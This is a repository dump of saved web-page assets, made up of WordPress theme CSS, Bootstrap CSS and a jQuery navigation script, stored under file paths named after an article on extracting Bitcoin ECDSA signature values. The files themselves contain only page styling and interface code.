i.fa-flickr:hover{color:#000}#itng-top-bar #itng-social .icon a i.fa-linkedin:hover{color:#1d6abc}#itng-top-bar #top-navigation{position:relative}#itng-top-bar #top-navigation button{border-radius:3px}@media (min-width:992px){#itng-top-bar #top-navigation button{display:none}#itng-top-bar #top-navigation ul{padding:0;margin:0;list-style:none;text-transform:uppercase}#itng-top-bar #top-navigation ul li{float:left;margin:auto .5em}}@media (max-width:991px){#itng-top-bar #top-navigation.toggled ul,#itng-top-bar #top-navigation.toggled .jumper{display:block}#itng-top-bar #top-navigation .jumper{display:none;position:absolute;clip:rect(1px,1px,1px,1px)}#itng-top-bar #top-navigation ul{display:none;list-style:none;margin:0;position:absolute;background-color:#eee;top:100%;z-index:99;min-width:120px;left:0;right:0}#itng-top-bar #top-navigation ul li{margin:.4em .8em}}#itng-top-bar #top-navigation a{font-size:.8em}.wpcf7 input:not([type=submit]),.wpcf7 textarea,.wpcf7 select{border-radius:0}.wpcf7 .wpcf7-checkbox .wpcf7-list-item,.wpcf7 .wpcf7-radio .wpcf7-list-item{display:block}.wpcf7 .wpcf7-checkbox .wpcf7-list-item input,.wpcf7 .wpcf7-radio .wpcf7-list-item input{width:auto}.wpcf7 .wpcf7-not-valid-tip{font-size:.85em}.wpcf7 .wpcf7-quiz-label{display:block}body.home #primary,body.archive #primary,body.search #primary{display:flex;flex-wrap:wrap;align-content:flex-start}article.itng-blog{margin-bottom:1.5em}article.itng-blog .itng-card-wrapper{height:100%;border:solid 1px #eee;display:flex;flex-direction:column}article.itng-blog .itng-thumb img{overflow:hidden}article.itng-blog .itng-card-content{height:100%;padding:1em;border-top:0;display:flex;flex-direction:column}article.itng-blog .entry-title{margin-top:0;word-wrap:break-word;margin-bottom:.5em;font-size:1.3rem}article.itng-blog .entry-title a{color:#000}article.itng-blog .entry-meta{display:flex;justify-content:space-between;flex-flow:wrap;font-size:.75em;margin-top:0;margin-bottom:.5em;text-transform:uppercase}article.itng-blog .entry-meta a{color:#d12223}article.itng-blog .entry-meta>span{display:inline-block}article.itng-blog .itng_excerpt{color:#9a9a9a;word-wrap:break-word;margin-bottom:1em;font-size:.9em;line-height:1.5em}article.itng-blog .blog-footer{font-size:.75em;color:#d12223;display:flex;align-items:flex-start;padding-top:.5em;margin-top:auto;border-top:solid 3px #f1f1f1}article.itng-blog .blog-footer a{color:#d12223}article.itng-blog .blog-footer .itng_cats{max-width:72%}article.itng-blog .blog-footer .blog-comments{margin-left:auto;color:#888}article.itng-blog .blog-footer .blog-comments:before{content:"";font-family:"FontAwesome";margin-right:.2em}article.itng-blog .entry-footer{text-transform:uppercase;font-size:.85em;font-weight:400}#itng-featured-cat .featured-cat-thumb{margin-bottom:30px;position:relative}#itng-featured-cat .featured-cat-thumb h3{bottom:0;margin:0;padding:.8em;color:#fff;font-size:1.2em;background-color:#d12223}@media (min-width:992px){#itng-featured-cat .featured-cat-thumb h3{position:absolute;width:100%;height:100%;display:flex;align-items:center;text-align:center;line-height:1.5em;opacity:0;transform:scale(1.1);-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-ms-transform:scale(1.1);-o-transform:scale(1.1);transition:all .3s ease-out;-webkit-transition:all .3s ease-out;-moz-transition:all .3s ease-out;-ms-transition:all .3s ease-out;-o-transition:all .3s ease-out}#itng-featured-cat .featured-cat-thumb h3:before{content:"";position:absolute;height:3px;width:40%;left:0;right:0;background-color:#fff;top:25%;margin:auto}#itng-featured-cat .featured-cat-thumb h3:after{content:"";position:absolute;height:3px;width:40%;left:0;right:0;background-color:#fff;bottom:25%;margin:auto}}#itng-featured-cat .featured-cat-thumb:hover h3{opacity:1;transform:scale(1);-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1)}#itng-featured-posts{margin-bottom:30px}#itng-featured-posts .itng-featured-post-1{overflow:hidden}#itng-featured-posts .itng-featured-post-1 img{width:100%;bottom:0;object-fit:cover;max-height:300px}@media (min-width:992px){#itng-featured-posts .itng-featured-post-1 img{position:absolute;max-height:none}}#itng-featured-posts .itng-featured-post-1 h3{font-size:1.8em}@media (max-width:767px){#itng-featured-posts .itng-featured-post-1 h3{font-size:1.2em}}#itng-featured-posts .itng-featured-post-thumb{height:100%;position:relative;margin:1px}#itng-featured-posts .itng-featured-post-date{position:absolute;top:10px;left:10px;padding:.2em .6em;font-size:.8em;text-transform:uppercase;color:#fff;background-color:#d12223}#itng-featured-posts h3{color:#fff;background:linear-gradient(to top,rgba(0,0,0,.63) 0%,rgba(0,0,0,.621) .8%,rgba(0,0,0,.597) 2.9%,rgba(0,0,0,.562) 6.4%,rgba(0,0,0,.517) 11%,rgba(0,0,0,.464) 16.6%,rgba(0,0,0,.406) 23.1%,rgba(0,0,0,.344) 30.4%,rgba(0,0,0,.281) 38.3%,rgba(0,0,0,.22) 46.7%,rgba(0,0,0,.162) 55.4%,rgba(0,0,0,.11) 64.4%,rgba(0,0,0,.065) 73.5%,rgba(0,0,0,.03) 82.5%,rgba(0,0,0,.008) 91.4%,rgba(0,0,0,0) 100%);margin:0;padding:.8em 1.2em;font-size:1.2em;position:absolute;bottom:0;left:0;width:100%;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}#itng-featured-news-carousel-container,#itng-featured-news-list-container,#itng-news-slider-container{padding-left:5px;padding-right:5px}#itng-featured-news{min-width:0;padding-left:10px;padding-right:10px;margin-bottom:30px}#itng-featured-news h2{font-size:1.4em;margin-bottom:.2em;text-align:left}#itng-featured-news .slider-post-wrapper{position:relative;height:420px;margin-bottom:0}#itng-featured-news .slider-post-wrapper .slider-post{position:absolute;height:100%;width:100%}#itng-featured-news .slider-post-wrapper .slider-post img{height:100%;object-fit:cover}#itng-featured-news .slider-post-wrapper h3{color:#fff}#itng-featured-news .slider-post-wrapper .itng-slider-post-meta{position:absolute;bottom:0;width:100%;padding:2em 1.6em .8em;margin-bottom:0;background:linear-gradient(to top,rgba(0,0,0,.63) 0%,rgba(0,0,0,.621) .8%,rgba(0,0,0,.597) 2.9%,rgba(0,0,0,.562) 6.4%,rgba(0,0,0,.517) 11%,rgba(0,0,0,.464) 16.6%,rgba(0,0,0,.406) 23.1%,rgba(0,0,0,.344) 30.4%,rgba(0,0,0,.281) 38.3%,rgba(0,0,0,.22) 46.7%,rgba(0,0,0,.162) 55.4%,rgba(0,0,0,.11) 64.4%,rgba(0,0,0,.065) 73.5%,rgba(0,0,0,.03) 82.5%,rgba(0,0,0,.008) 91.4%,rgba(0,0,0,0) 100%)}#itng-featured-news .slider-post-wrapper .posted-on a{color:#fff;background-color:#d12223;padding:.2em .5em;text-transform:uppercase}#itng-featured-news #itng-featured-news-list-container{position:relative}#itng-featured-news #itng-featured-news-list-container .featured-post-list-wrapper{position:relative;overflow:hidden;height:100%}#itng-featured-news #itng-featured-news-list-container .featured-news-list-content{position:absolute;bottom:0;margin:0;padding:1.2em .6em .6em;width:100%;background:linear-gradient(to top,rgba(0,0,0,.63) 0%,rgba(0,0,0,.621) .8%,rgba(0,0,0,.597) 2.9%,rgba(0,0,0,.562) 6.4%,rgba(0,0,0,.517) 11%,rgba(0,0,0,.464) 16.6%,rgba(0,0,0,.406) 23.1%,rgba(0,0,0,.344) 30.4%,rgba(0,0,0,.281) 38.3%,rgba(0,0,0,.22) 46.7%,rgba(0,0,0,.162) 55.4%,rgba(0,0,0,.11) 64.4%,rgba(0,0,0,.065) 73.5%,rgba(0,0,0,.03) 82.5%,rgba(0,0,0,.008) 91.4%,rgba(0,0,0,0) 100%)}#itng-featured-news #itng-featured-news-list-container h3{font-size:1.1em;margin:0;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical;overflow:hidden;margin-bottom:.4em;color:#fff}#itng-featured-news #itng-featured-news-list-container .posted-on a{color:#fff;background-color:#d12223;text-transform:uppercase;padding:.3em .5em;font-size:.65em}#itng-featured-news #itng-featured-news-list-container .itng-news-list-cats a{color:#fff;font-size:.65em;text-transform:uppercase;padding:.4em .5em}#itng-featured-news #itng-featured-news-list-container .featured-news-list{display:flex}@media (min-width:1200px){#itng-featured-news #itng-featured-news-list-container .featured-news-list{height:420px;flex-direction:column}}#itng-featured-news #itng-featured-news-list-container .itng-featured-post-list{position:relative;overflow:hidden;margin-bottom:10px}@media (min-width:768px) and (max-width:1199px){#itng-featured-news #itng-featured-news-list-container .itng-featured-post-list{width:50%}}@media (min-width:1200px){#itng-featured-news #itng-featured-news-list-container .itng-featured-post-list:last-child{margin-bottom:0}}@media (max-width:1200px){#itng-featured-news #itng-featured-news-list-container .itng-featured-post-list:first-child{padding-right:5px}#itng-featured-news #itng-featured-news-list-container .itng-featured-post-list:last-child{padding-left:5px}}#itng-featured-news #itng-featured-news-carousel-container .news-carousel{display:flex}@media (min-width:1200px){#itng-featured-news #itng-featured-news-carousel-container .news-carousel{height:420px}}#itng-featured-news #itng-featured-news-carousel-container h3{font-size:.9em;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden;margin:0;color:#fff}#itng-featured-news #itng-featured-news-carousel-container .itng-featured-post-car{flex-grow:1;margin-bottom:10px}@media (min-width:768px) and (max-width:1199px){#itng-featured-news #itng-featured-news-carousel-container .itng-featured-post-car{width:50%}}@media (min-width:1200px){#itng-featured-news #itng-featured-news-carousel-container .itng-featured-post-car:last-child{margin-bottom:0}}#itng-featured-news #itng-featured-news-carousel-container .featured-post-car-wrapper{height:100%;background-color:#222;padding:6px}#itng-featured-news #itng-featured-news-carousel-container .featured-news-car-content{padding:.6em}#itng-featured-news #itng-featured-news-carousel-container .posted-on{text-transform:uppercase}#itng-featured-news #itng-featured-news-carousel-container .posted-on a{color:#fff;padding:.2em .45em;background-color:#d12223;font-size:.65em} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_d26191bd0380b0cf97525a613b8b566c.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v4.5.3 (https://getbootstrap.com/) 3 | * Copyright 2011-2020 The Bootstrap Authors 4 | * Copyright 2011-2020 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 6 | */ 7 | article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}[tabindex="-1"]:focus:not(:focus-visible){outline:0 !important}hr{box-sizing:content-box;height:0;overflow:visible}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{@extend %bold}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a:not([href]):not([class]){color:inherit;text-decoration:none}a:not([href]):not([class]):hover{color:inherit;text-decoration:none}pre,code,kbd,samp{font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit;text-align:-webkit-match-parent}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button:not(:disabled),[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled){cursor:pointer}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{padding:0;border-style:none}input[type=radio],input[type=checkbox]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}.lead{font-size:1.25rem;font-weight:300}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer:before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;@extend %bold}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-sm,.container-md,.container-lg,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-sm,.container-md{max-width:720px}}@media (min-width:992px){.container,.container-sm,.container-md,.container-lg{max-width:960px}}@media (min-width:1200px){.container,.container-sm,.container-md,.container-lg,.container-xl{max-width:1140px}}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}@media (min-width:576px){.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}}@media (min-width:768px){.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}}@media (min-width:992px){.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}}@media (min-width:1200px){.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}}.d-flex{display:-ms-flexbox !important;display:flex !important}.ml-auto,.mx-auto{margin-left:auto !important}.align-items-center{-ms-flex-align:center !important;align-items:center !important}.align-items-end{align-items:flex-end !important}.justify-content-end{-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-between{-ms-flex-pack:justify !important;justify-content:space-between !important} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_e6094661d8923e95b233019ebff7c8f0.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/Break-ECDSA-cryptography/428f2693c34b868020016cb405298e04277b9145/The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_e6094661d8923e95b233019ebff7c8f0.css -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_ea8874ba65dbd53bf5c7fb5c619ac579.js: -------------------------------------------------------------------------------- 1 | jQuery(document).ready(function(){const toggleSearchFunction=element=>{let searchBtn=element,searchArea=searchBtn.nextElementSibling,searchField=searchArea.getElementsByTagName('input')[0],goToBtn=searchArea.getElementsByTagName('button')[0],goToField=searchBtn.previousElementSibling,searchCont=element.parentElement 2 | if(searchBtn.classList.contains('is-toggled')){searchBtn.focus() 3 | searchArea.style.height='0' 4 | searchArea.style.opacity='0' 5 | searchBtn.classList.remove('is-toggled') 6 | goToBtn.tabIndex='-1' 7 | searchField.tabIndex='-1' 8 | goToField.tabIndex='-1' 9 | searchBtn.style.transform='scale(1)'}else{searchField.focus() 10 | searchArea.style.height='60px' 11 | searchArea.style.opacity='1' 12 | searchBtn.classList.add('is-toggled') 13 | goToBtn.tabIndex='0' 14 | searchField.tabIndex='0' 15 | goToField.tabIndex='0' 16 | searchBtn.style.transform='scale(1.2)'} 17 | goToBtn.addEventListener('focus',()=>{searchBtn.focus()}) 18 | goToField.addEventListener('focus',()=>{searchField.focus()})} 19 | if(document.querySelector('.search-btn-main')!==null){document.querySelector('.search-btn-main').addEventListener('click',function(){toggleSearchFunction(this)})} 20 | if(document.querySelector('.search-btn-sticky')!==null){document.querySelector('.search-btn-sticky').addEventListener('click',function(){toggleSearchFunction(this)})} 21 | var clickedBtn;jQuery('.menu-link').bigSlide({easyClose:true,width:'25em',side:'left',beforeOpen:function(){jQuery('.menu-overlay').show();},afterOpen:function(e){jQuery('#close-menu').focus();clickedBtn=jQuery(e.target).parent();},afterClose:function(e){clickedBtn.focus()}});jQuery('.go-to-top').on('focus',function(){jQuery('#close-menu').focus();jQuery('.menu-overlay').hide();});jQuery('.go-to-bottom').on('focus',function(){jQuery('ul#menu-main > li:last-child > a').focus();});var parentElement=jQuery('.panel li.menu-item-has-children'),dropdown=jQuery('.panel li.menu-item-has-children span');parentElement.children('ul').hide();dropdown.on({'click':function(e){e.target.style.transform=='rotate(0deg)'?'rotate(180deg)':'rotate(0deg)';jQuery(this).siblings('ul').slideToggle().toggleClass('expanded');e.stopPropagation();},'keydown':function(e){if(e.keyCode==32||e.keyCode==13){e.preventDefault();jQuery(this).siblings('ul').slideToggle().toggleClass('expanded');e.stopPropagation();}}});if(itng.toTopEnable!==""){const topBtn=jQuery('#itng-back-to-top');jQuery(window).scroll(function(){if(jQuery(window).scrollTop()>300){topBtn.addClass('show');}else{topBtn.removeClass('show');}});topBtn.on('click',function(e){e.preventDefault();jQuery('html, body').animate({scrollTop:0},'300');});} 22 | jQuery('.blocks-gallery-grid, .gallery').magnificPopup({delegate:'a',type:'image',gallery:{enabled:true}}) 23 | var catSliders=[];for(catSlider in window){if(catSlider.indexOf("cat_slider")!=-1){catSliders.push(window[catSlider]);}};catSliders.forEach(function(item){var slider=jQuery("#"+item.id).find('.cat-slider');slider.owlCarousel({items:1,loop:true,autoplay:true,dots:false,nav:true});});jQuery('.itng-featured-news-slider').owlCarousel({items:1,dots:false,nav:false,loop:true,autoplay:true});if(itng.stickyNav!==""){var stickyNav=jQuery('#sticky-navigation');stickyNav.css("opacity","0");function itngStickyMenu(){var scrollHeight=jQuery(window).scrollTop(),navHeight=jQuery('.nav-wrapper').height()+jQuery('.nav-wrapper').offset().top 24 | if(scrollHeight>navHeight){jQuery('body').addClass('has-sticky-menu');stickyNav.css({"transform":"translateY(0)","opacity":"1"});}else{stickyNav.css({"transform":"translateY(-100%)","opacity":"0"});}} 25 | jQuery(window).scroll(function(){itngStickyMenu()}) 26 | itngStickyMenu()}}); --------------------------------------------------------------------------------